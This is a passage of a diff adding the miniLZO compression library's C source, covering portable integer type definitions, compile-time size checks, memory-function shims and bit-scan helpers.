!(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_GNUC >= 0x025f00ul) && defined(__AVR__) && (__LONG_MAX__+0 == 32767L) + typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__))); + typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__))); +# define lzo_int32e_t lzo_int32e_si_t__ +# define lzo_uint32e_t lzo_uint32e_si_t__ +# define LZO_INT32_C(c) (c##LL) +# define LZO_UINT32_C(c) (c##ULL) +#elif (LZO_SIZEOF___INT32 == 4) +# define lzo_int32e_t __int32 +# define lzo_uint32e_t unsigned __int32 +#else +#endif +#endif +#if defined(lzo_int32e_t) +# define LZO_SIZEOF_LZO_INT32E_T 4 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == 4) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == LZO_SIZEOF_LZO_INT32E_T) +#endif +#if !defined(lzo_int64e_t) +#if (LZO_SIZEOF___INT64 == 8) +# if (LZO_CC_BORLANDC) && !(LZO_CFG_TYPE_PREFER___INT64) +# define LZO_CFG_TYPE_PREFER___INT64 1 +# endif +#endif +#if (LZO_SIZEOF_INT == 8) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) +# define lzo_int64e_t int +# define lzo_uint64e_t unsigned int +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_LONG == 8) +# define lzo_int64e_t long int +# define lzo_uint64e_t unsigned long int +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG +#elif (LZO_SIZEOF_LONG_LONG == 8) && !(LZO_CFG_TYPE_PREFER___INT64) +# define lzo_int64e_t lzo_llong_t +# define lzo_uint64e_t lzo_ullong_t +# if (LZO_CC_BORLANDC) +# define LZO_INT64_C(c) ((c) + 0ll) +# define LZO_UINT64_C(c) ((c) + 0ull) +# elif 0 +# define LZO_INT64_C(c) (__lzo_gnuc_extension__ (c##LL)) +# define LZO_UINT64_C(c) (__lzo_gnuc_extension__ (c##ULL)) +# else +# define LZO_INT64_C(c) (c##LL) +# define LZO_UINT64_C(c) (c##ULL) +# endif +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG_LONG +#elif (LZO_SIZEOF___INT64 == 8) +# define lzo_int64e_t __int64 +# define lzo_uint64e_t unsigned __int64 +# if (LZO_CC_BORLANDC) +# define LZO_INT64_C(c) ((c) + 0i64) +# define LZO_UINT64_C(c) ((c) + 0ui64) +# else +# define LZO_INT64_C(c) (c##i64) +# define LZO_UINT64_C(c) (c##ui64) +# endif +# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF___INT64 +#else +#endif +#endif +#if defined(lzo_int64e_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == 8) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == LZO_SIZEOF_LZO_INT64E_T) +#endif +#if !defined(lzo_int32l_t) +#if defined(lzo_int32e_t) +# define lzo_int32l_t lzo_int32e_t +# define lzo_uint32l_t lzo_uint32e_t +# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LZO_INT32E_T +#elif (LZO_SIZEOF_INT >= 4) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) +# define lzo_int32l_t int +# define lzo_uint32l_t unsigned int +# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_LONG >= 4) +# define lzo_int32l_t long int +# define lzo_uint32l_t unsigned long int +# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LONG +#else +# error "lzo_int32l_t" +#endif +#endif +#if 1 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) >= 4) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) == LZO_SIZEOF_LZO_INT32L_T) +#endif +#if !defined(lzo_int64l_t) +#if defined(lzo_int64e_t) +# define lzo_int64l_t lzo_int64e_t +# define lzo_uint64l_t lzo_uint64e_t +# define LZO_SIZEOF_LZO_INT64L_T LZO_SIZEOF_LZO_INT64E_T +#else +#endif +#endif +#if defined(lzo_int64l_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) >= 8) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) == LZO_SIZEOF_LZO_INT64L_T) +#endif +#if !defined(lzo_int32f_t) +#if (LZO_SIZEOF_SIZE_T >= 8) +# define lzo_int32f_t lzo_int64l_t +# define lzo_uint32f_t lzo_uint64l_t +# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT64L_T +#else +# define lzo_int32f_t lzo_int32l_t +# define lzo_uint32f_t lzo_uint32l_t +# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT32L_T +#endif +#endif +#if 1 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) >= 4) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) == LZO_SIZEOF_LZO_INT32F_T) +#endif +#if !defined(lzo_int64f_t) +#if defined(lzo_int64l_t) +# define lzo_int64f_t lzo_int64l_t +# define lzo_uint64f_t lzo_uint64l_t +# define LZO_SIZEOF_LZO_INT64F_T LZO_SIZEOF_LZO_INT64L_T +#else +#endif +#endif +#if defined(lzo_int64f_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) >= 8) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) == LZO_SIZEOF_LZO_INT64F_T) +#endif +#if !defined(lzo_intptr_t) +#if 1 && (LZO_OS_OS400 && (LZO_SIZEOF_VOID_P == 16)) +# define __LZO_INTPTR_T_IS_POINTER 1 + typedef char* lzo_intptr_t; + typedef char* lzo_uintptr_t; +# define lzo_intptr_t lzo_intptr_t +# define lzo_uintptr_t lzo_uintptr_t +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_VOID_P +#elif (LZO_CC_MSC && (_MSC_VER >= 1300) && (LZO_SIZEOF_VOID_P == 4) && (LZO_SIZEOF_INT == 4)) + typedef __w64 int lzo_intptr_t; + typedef __w64 unsigned int lzo_uintptr_t; +# define lzo_intptr_t lzo_intptr_t +# define lzo_uintptr_t lzo_uintptr_t +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_SHORT == LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT > LZO_SIZEOF_VOID_P) +# define lzo_intptr_t short +# define lzo_uintptr_t unsigned short +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_SHORT +#elif (LZO_SIZEOF_INT >= LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG) +# define lzo_intptr_t int +# define lzo_uintptr_t unsigned int +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT +#elif (LZO_SIZEOF_LONG >= LZO_SIZEOF_VOID_P) +# define lzo_intptr_t long +# define lzo_uintptr_t unsigned long +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LONG +#elif (LZO_SIZEOF_LZO_INT64L_T >= LZO_SIZEOF_VOID_P) +# define lzo_intptr_t lzo_int64l_t +# define lzo_uintptr_t lzo_uint64l_t +# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LZO_INT64L_T +#else +# error "lzo_intptr_t" +#endif +#endif +#if 1 + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) >= sizeof(void *)) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) == sizeof(lzo_uintptr_t)) +#endif +#if !defined(lzo_word_t) +#if defined(LZO_WORDSIZE) && (LZO_WORDSIZE+0 > 0) +#if (LZO_WORDSIZE == LZO_SIZEOF_LZO_INTPTR_T) && !(__LZO_INTPTR_T_IS_POINTER) +# define lzo_word_t lzo_uintptr_t +# define lzo_sword_t lzo_intptr_t +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INTPTR_T +#elif (LZO_WORDSIZE == LZO_SIZEOF_LONG) +# define lzo_word_t unsigned long +# define lzo_sword_t long +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LONG +#elif (LZO_WORDSIZE == LZO_SIZEOF_INT) +# define lzo_word_t unsigned int +# define lzo_sword_t int +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_INT +#elif (LZO_WORDSIZE == LZO_SIZEOF_SHORT) +# define lzo_word_t unsigned short +# define lzo_sword_t short +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_SHORT +#elif (LZO_WORDSIZE == 1) +# define lzo_word_t unsigned char +# define lzo_sword_t signed char +# define LZO_SIZEOF_LZO_WORD_T 1 +#elif (LZO_WORDSIZE == LZO_SIZEOF_LZO_INT64L_T) +# define lzo_word_t lzo_uint64l_t +# define lzo_sword_t lzo_int64l_t +# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INT64L_T +#elif (LZO_ARCH_SPU) && (LZO_CC_GNUC) +#if 0 + typedef unsigned lzo_word_t __attribute__((__mode__(__V16QI__))); + typedef int lzo_sword_t __attribute__((__mode__(__V16QI__))); +# define lzo_word_t lzo_word_t +# define lzo_sword_t lzo_sword_t +# define LZO_SIZEOF_LZO_WORD_T 16 +#endif +#else +# error "lzo_word_t" +#endif +#endif +#endif +#if 1 && defined(lzo_word_t) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_word_t) == LZO_WORDSIZE) + LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_sword_t) == LZO_WORDSIZE) +#endif +#if 1 +#define lzo_int8_t signed char +#define lzo_uint8_t unsigned char +#define LZO_SIZEOF_LZO_INT8_T 1 +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == sizeof(lzo_uint8_t)) +#endif +#if defined(lzo_int16e_t) +#define lzo_int16_t lzo_int16e_t +#define lzo_uint16_t lzo_uint16e_t +#define LZO_SIZEOF_LZO_INT16_T LZO_SIZEOF_LZO_INT16E_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == sizeof(lzo_uint16_t)) +#endif +#if defined(lzo_int32e_t) +#define lzo_int32_t lzo_int32e_t +#define lzo_uint32_t lzo_uint32e_t +#define LZO_SIZEOF_LZO_INT32_T LZO_SIZEOF_LZO_INT32E_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == sizeof(lzo_uint32_t)) +#endif +#if defined(lzo_int64e_t) +#define lzo_int64_t lzo_int64e_t +#define lzo_uint64_t lzo_uint64e_t +#define LZO_SIZEOF_LZO_INT64_T LZO_SIZEOF_LZO_INT64E_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == sizeof(lzo_uint64_t)) +#endif +#if 1 +#define lzo_int_least32_t lzo_int32l_t +#define lzo_uint_least32_t lzo_uint32l_t +#define LZO_SIZEOF_LZO_INT_LEAST32_T LZO_SIZEOF_LZO_INT32L_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) >= 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) == sizeof(lzo_uint_least32_t)) +#endif +#if defined(lzo_int64l_t) +#define lzo_int_least64_t lzo_int64l_t +#define lzo_uint_least64_t lzo_uint64l_t +#define LZO_SIZEOF_LZO_INT_LEAST64_T LZO_SIZEOF_LZO_INT64L_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) >= 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) == sizeof(lzo_uint_least64_t)) +#endif +#if 1 +#define lzo_int_fast32_t lzo_int32f_t +#define lzo_uint_fast32_t lzo_uint32f_t +#define LZO_SIZEOF_LZO_INT_FAST32_T LZO_SIZEOF_LZO_INT32F_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) >= 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) == sizeof(lzo_uint_fast32_t)) +#endif +#if defined(lzo_int64f_t) +#define lzo_int_fast64_t lzo_int64f_t +#define lzo_uint_fast64_t lzo_uint64f_t +#define LZO_SIZEOF_LZO_INT_FAST64_T LZO_SIZEOF_LZO_INT64F_T +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) >= 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) == sizeof(lzo_uint_fast64_t)) +#endif +#if !defined(LZO_INT16_C) +# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 2) +# define LZO_INT16_C(c) ((c) + 0) +# define LZO_UINT16_C(c) ((c) + 0U) +# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 2) +# define LZO_INT16_C(c) ((c) + 0L) +# define LZO_UINT16_C(c) ((c) + 0UL) +# elif (LZO_SIZEOF_INT >= 2) +# define LZO_INT16_C(c) (c) +# define LZO_UINT16_C(c) (c##U) +# elif (LZO_SIZEOF_LONG >= 2) +# define LZO_INT16_C(c) (c##L) +# define LZO_UINT16_C(c) (c##UL) +# else +# error "LZO_INT16_C" +# endif +#endif +#if !defined(LZO_INT32_C) +# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 4) +# define LZO_INT32_C(c) ((c) + 0) +# define LZO_UINT32_C(c) ((c) + 0U) +# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 4) +# define LZO_INT32_C(c) ((c) + 0L) +# define LZO_UINT32_C(c) ((c) + 0UL) +# elif (LZO_SIZEOF_INT >= 4) +# define LZO_INT32_C(c) (c) +# define LZO_UINT32_C(c) (c##U) +# elif (LZO_SIZEOF_LONG >= 4) +# define LZO_INT32_C(c) (c##L) +# define LZO_UINT32_C(c) (c##UL) +# elif (LZO_SIZEOF_LONG_LONG >= 4) +# define LZO_INT32_C(c) (c##LL) +# define LZO_UINT32_C(c) (c##ULL) +# else +# error "LZO_INT32_C" +# endif +#endif +#if !defined(LZO_INT64_C) && defined(lzo_int64l_t) +# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 8) +# define LZO_INT64_C(c) ((c) + 0) +# define LZO_UINT64_C(c) ((c) + 0U) +# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 8) +# define LZO_INT64_C(c) ((c) + 0L) +# define LZO_UINT64_C(c) ((c) + 0UL) +# elif (LZO_SIZEOF_INT >= 8) +# define LZO_INT64_C(c) (c) +# define LZO_UINT64_C(c) (c##U) +# elif (LZO_SIZEOF_LONG >= 8) +# define LZO_INT64_C(c) (c##L) +# define LZO_UINT64_C(c) (c##UL) +# else +# error "LZO_INT64_C" +# endif +#endif +#endif + +#endif + +#endif + +#undef LZO_HAVE_CONFIG_H +#include "minilzo.h" + +#if !defined(MINILZO_VERSION) || (MINILZO_VERSION != 0x2070) +# error "version mismatch in miniLZO source files" +#endif + +#ifdef MINILZO_HAVE_CONFIG_H +# define LZO_HAVE_CONFIG_H 1 +#endif + +#ifndef __LZO_CONF_H +#define __LZO_CONF_H 1 + +#if !defined(__LZO_IN_MINILZO) +#if defined(LZO_CFG_FREESTANDING) && (LZO_CFG_FREESTANDING) +# define LZO_LIBC_FREESTANDING 1 +# define LZO_OS_FREESTANDING 1 +#endif +#if defined(LZO_CFG_EXTRA_CONFIG_HEADER) +# include LZO_CFG_EXTRA_CONFIG_HEADER +#endif +#if defined(__LZOCONF_H) || defined(__LZOCONF_H_INCLUDED) +# error "include this file first" +#endif +#include "lzo/lzoconf.h" +#if defined(LZO_CFG_EXTRA_CONFIG_HEADER2) +# include LZO_CFG_EXTRA_CONFIG_HEADER2 +#endif +#endif + +#if (LZO_VERSION < 0x2070) || !defined(__LZOCONF_H_INCLUDED) +# error "version mismatch" +#endif + +#if (LZO_CC_MSC && (_MSC_VER >= 1000 && _MSC_VER < 1100)) +# pragma warning(disable: 4702) +#endif +#if (LZO_CC_MSC && (_MSC_VER >= 1000)) +# pragma warning(disable: 4127 4701) +# pragma warning(disable: 4514 4710 4711) +#endif +#if (LZO_CC_MSC && (_MSC_VER >= 1300)) +# pragma warning(disable: 4820) +#endif +#if (LZO_CC_MSC && (_MSC_VER >= 1800)) +# pragma warning(disable: 4746) +#endif + +#if (LZO_CC_SUNPROC) +#if !defined(__cplusplus) +# pragma error_messages(off,E_END_OF_LOOP_CODE_NOT_REACHED) +# pragma error_messages(off,E_LOOP_NOT_ENTERED_AT_TOP) +# pragma error_messages(off,E_STATEMENT_NOT_REACHED) +#endif +#endif + +#if defined(__LZO_IN_MINILZO) || (LZO_CFG_FREESTANDING) +#elif 1 +# include +#else +# define LZO_WANT_ACC_INCD_H 1 +#endif +#if defined(LZO_HAVE_CONFIG_H) +# define LZO_CFG_NO_CONFIG_HEADER 1 +#endif + +#if 1 && !defined(LZO_CFG_FREESTANDING) +#if 1 && !defined(HAVE_STRING_H) +#define HAVE_STRING_H 1 +#endif +#if 1 && !defined(HAVE_MEMCMP) +#define HAVE_MEMCMP 1 +#endif +#if 1 && !defined(HAVE_MEMCPY) +#define HAVE_MEMCPY 1 +#endif +#if 1 && !defined(HAVE_MEMMOVE) +#define HAVE_MEMMOVE 1 +#endif +#if 1 && !defined(HAVE_MEMSET) +#define HAVE_MEMSET 1 +#endif +#endif + +#if 1 && defined(HAVE_STRING_H) +#include +#endif + +#if 1 || defined(lzo_int8_t) || defined(lzo_uint8_t) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint8_t) == 1) +#endif +#if 1 || defined(lzo_int16_t) || defined(lzo_uint16_t) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint16_t) == 2) +#endif +#if 1 || defined(lzo_int32_t) || defined(lzo_uint32_t) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint32_t) == 4) +#endif +#if defined(lzo_int64_t) || defined(lzo_uint64_t) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8) +LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint64_t) == 8) +#endif + +#if (LZO_CFG_FREESTANDING) +# undef HAVE_MEMCMP +# undef HAVE_MEMCPY +# undef HAVE_MEMMOVE +# undef HAVE_MEMSET +#endif + +#if !(HAVE_MEMCMP) +# undef memcmp +# define memcmp(a,b,c) lzo_memcmp(a,b,c) +#else +# undef lzo_memcmp +# define lzo_memcmp(a,b,c) memcmp(a,b,c) +#endif +#if !(HAVE_MEMCPY) +# undef memcpy +# define memcpy(a,b,c) lzo_memcpy(a,b,c) +#else +# undef lzo_memcpy +# define lzo_memcpy(a,b,c) memcpy(a,b,c) +#endif +#if !(HAVE_MEMMOVE) +# undef memmove +# define memmove(a,b,c) lzo_memmove(a,b,c) +#else +# undef lzo_memmove +# define lzo_memmove(a,b,c) memmove(a,b,c) +#endif +#if !(HAVE_MEMSET) +# undef memset +# define memset(a,b,c) lzo_memset(a,b,c) +#else +# undef lzo_memset +# define lzo_memset(a,b,c) memset(a,b,c) +#endif + +#undef NDEBUG +#if (LZO_CFG_FREESTANDING) +# undef LZO_DEBUG +# define NDEBUG 1 +# undef assert +# define assert(e) ((void)0) +#else +# if !defined(LZO_DEBUG) +# define NDEBUG 1 +# endif +# include +#endif + +#if 0 && defined(__BOUNDS_CHECKING_ON) +# include +#else +# define BOUNDS_CHECKING_OFF_DURING(stmt) stmt +# define BOUNDS_CHECKING_OFF_IN_EXPR(expr) (expr) +#endif + +#if (LZO_CFG_PGO) +# undef __lzo_likely +# undef __lzo_unlikely +# define __lzo_likely(e) (e) +# define __lzo_unlikely(e) (e) +#endif + +#undef _ +#undef __ +#undef ___ +#undef ____ +#undef _p0 +#undef _p1 +#undef _p2 +#undef _p3 +#undef _p4 +#undef _s0 +#undef _s1 +#undef _s2 +#undef _s3 +#undef _s4 +#undef _ww + +#if 1 +# define LZO_BYTE(x) ((unsigned char) (x)) +#else +# define LZO_BYTE(x) ((unsigned char) ((x) & 0xff)) +#endif + +#define LZO_MAX(a,b) ((a) >= (b) ? (a) : (b)) +#define LZO_MIN(a,b) ((a) <= (b) ? (a) : (b)) +#define LZO_MAX3(a,b,c) ((a) >= (b) ? LZO_MAX(a,c) : LZO_MAX(b,c)) +#define LZO_MIN3(a,b,c) ((a) <= (b) ? LZO_MIN(a,c) : LZO_MIN(b,c)) + +#define lzo_sizeof(type) ((lzo_uint) (sizeof(type))) + +#define LZO_HIGH(array) ((lzo_uint) (sizeof(array)/sizeof(*(array)))) + +#define LZO_SIZE(bits) (1u << (bits)) +#define LZO_MASK(bits) (LZO_SIZE(bits) - 1) + +#define LZO_USIZE(bits) ((lzo_uint) 1 << (bits)) +#define LZO_UMASK(bits) (LZO_USIZE(bits) - 1) + +#if !defined(DMUL) +#if 0 + +# define DMUL(a,b) ((lzo_xint) ((lzo_uint32_t)(a) * (lzo_uint32_t)(b))) +#else +# define DMUL(a,b) ((lzo_xint) ((a) * (b))) +#endif +#endif + +#ifndef __LZO_FUNC_H +#define __LZO_FUNC_H 1 + +#if !defined(LZO_BITOPS_USE_ASM_BITSCAN) && !defined(LZO_BITOPS_USE_GNUC_BITSCAN) && !defined(LZO_BITOPS_USE_MSC_BITSCAN) +#if 1 && (LZO_ARCH_AMD64) && (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_ASM_SYNTAX_GNUC) +#define LZO_BITOPS_USE_ASM_BITSCAN 1 +#elif (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x030400ul) || (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1000)) || (LZO_CC_LLVM && (!defined(__llvm_tools_version__) || (__llvm_tools_version__+0 >= 0x010500ul)))) +#define LZO_BITOPS_USE_GNUC_BITSCAN 1 +#elif (LZO_OS_WIN32 || LZO_OS_WIN64) && ((LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 1010)) || (LZO_CC_MSC && (_MSC_VER >= 1400))) +#define LZO_BITOPS_USE_MSC_BITSCAN 1 +#if (LZO_CC_MSC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) +#include +#endif +#if (LZO_CC_MSC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) +#pragma intrinsic(_BitScanReverse) +#pragma intrinsic(_BitScanForward) +#endif +#if (LZO_CC_MSC) && (LZO_ARCH_AMD64) +#pragma intrinsic(_BitScanReverse64) +#pragma intrinsic(_BitScanForward64) +#endif +#endif +#endif + +__lzo_static_forceinline unsigned lzo_bitops_ctlz32_func(lzo_uint32_t v) +{ +#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) + unsigned long r; (void) _BitScanReverse(&r, v); return (unsigned) r ^ 31; +#define lzo_bitops_ctlz32(v) lzo_bitops_ctlz32_func(v) +#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) && (LZO_ASM_SYNTAX_GNUC) + lzo_uint32_t r; + __asm__("bsr %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); + return (unsigned) r ^ 31; +#define lzo_bitops_ctlz32(v) lzo_bitops_ctlz32_func(v) +#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_INT == 4) + unsigned r; r = (unsigned) __builtin_clz(v); return r; +#define lzo_bitops_ctlz32(v) ((unsigned) __builtin_clz(v)) +#else + LZO_UNUSED(v); return 0; +#endif +} + +#if defined(lzo_uint64_t) +__lzo_static_forceinline unsigned lzo_bitops_ctlz64_func(lzo_uint64_t v) +{ +#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64) + unsigned long r; (void) _BitScanReverse64(&r, v); return (unsigned) r ^ 63; +#define lzo_bitops_ctlz64(v) lzo_bitops_ctlz64_func(v) +#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64) && (LZO_ASM_SYNTAX_GNUC) + lzo_uint64_t r; + __asm__("bsr %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); + return (unsigned) r ^ 63; +#define lzo_bitops_ctlz64(v) lzo_bitops_ctlz64_func(v) +#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG == 8) && (LZO_WORDSIZE >= 8) + unsigned r; r = (unsigned) __builtin_clzl(v); return r; +#define lzo_bitops_ctlz64(v) ((unsigned) __builtin_clzl(v)) +#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG_LONG == 8) && (LZO_WORDSIZE >= 8) + unsigned r; r = (unsigned) __builtin_clzll(v); return r; +#define lzo_bitops_ctlz64(v) ((unsigned) __builtin_clzll(v)) +#else + LZO_UNUSED(v); return 0; +#endif +} +#endif + +__lzo_static_forceinline unsigned lzo_bitops_cttz32_func(lzo_uint32_t v) +{ +#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) + unsigned long r; (void) _BitScanForward(&r, v); return (unsigned) r; +#define lzo_bitops_cttz32(v) lzo_bitops_cttz32_func(v) +#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) && (LZO_ASM_SYNTAX_GNUC) + lzo_uint32_t r; + __asm__("bsf %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); + return (unsigned) r; +#define lzo_bitops_cttz32(v) lzo_bitops_cttz32_func(v) +#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_INT >= 4) + unsigned r; r = (unsigned) __builtin_ctz(v); return r; +#define lzo_bitops_cttz32(v) ((unsigned) __builtin_ctz(v)) +#else + LZO_UNUSED(v); return 0; +#endif +} + +#if defined(lzo_uint64_t) +__lzo_static_forceinline unsigned lzo_bitops_cttz64_func(lzo_uint64_t v) +{ +#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64) + unsigned long r; (void) _BitScanForward64(&r, v); return (unsigned) r; +#define lzo_bitops_cttz64(v) lzo_bitops_cttz64_func(v) +#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64) && (LZO_ASM_SYNTAX_GNUC) + lzo_uint64_t r; + __asm__("bsf %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC); + return (unsigned) r; +#define lzo_bitops_cttz64(v) lzo_bitops_cttz64_func(v) +#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG >= 8) && (LZO_WORDSIZE >= 8) + unsigned r; r = (unsigned) __builtin_ctzl(v); return r; +#define lzo_bitops_cttz64(v) ((unsigned) __builtin_ctzl(v)) +#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG_LONG >= 8) && (LZO_WORDSIZE >= 8) + unsigned r; r = (unsigned) __builtin_ctzll(v); return r; +#define lzo_bitops_cttz64(v) ((unsigned) __builtin_ctzll(v)) +#else + LZO_UNUSED(v); return 0; +#endif +} +#endif + +#if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +static void __attribute__((__unused__)) +#else +__lzo_static_forceinline void +#endif +lzo_bitops_unused_funcs(void) +{ + LZO_UNUSED_FUNC(lzo_bitops_ctlz32_func); + LZO_UNUSED_FUNC(lzo_bitops_cttz32_func); +#if defined(lzo_uint64_t) + LZO_UNUSED_FUNC(lzo_bitops_ctlz64_func); + LZO_UNUSED_FUNC(lzo_bitops_cttz64_func); +#endif + LZO_UNUSED_FUNC(lzo_bitops_unused_funcs); +} + +#if defined(__lzo_alignof) && !(LZO_CFG_NO_UNALIGNED) +#ifndef __lzo_memops_tcheck +#define __lzo_memops_tcheck(t,a,b) ((void)0, sizeof(t) == (a) && __lzo_alignof(t) == (b)) +#endif +#endif +#ifndef lzo_memops_TU0p +#define lzo_memops_TU0p void __LZO_MMODEL * +#endif +#ifndef lzo_memops_TU1p +#define lzo_memops_TU1p unsigned char __LZO_MMODEL * +#endif +#ifndef lzo_memops_TU2p +#if (LZO_OPT_UNALIGNED16) +typedef lzo_uint16_t __lzo_may_alias lzo_memops_TU2; +#define lzo_memops_TU2p volatile lzo_memops_TU2 * +#elif defined(__lzo_byte_struct) +__lzo_byte_struct(lzo_memops_TU2_struct,2) +typedef struct lzo_memops_TU2_struct lzo_memops_TU2; +#else +struct lzo_memops_TU2_struct { unsigned char a[2]; } 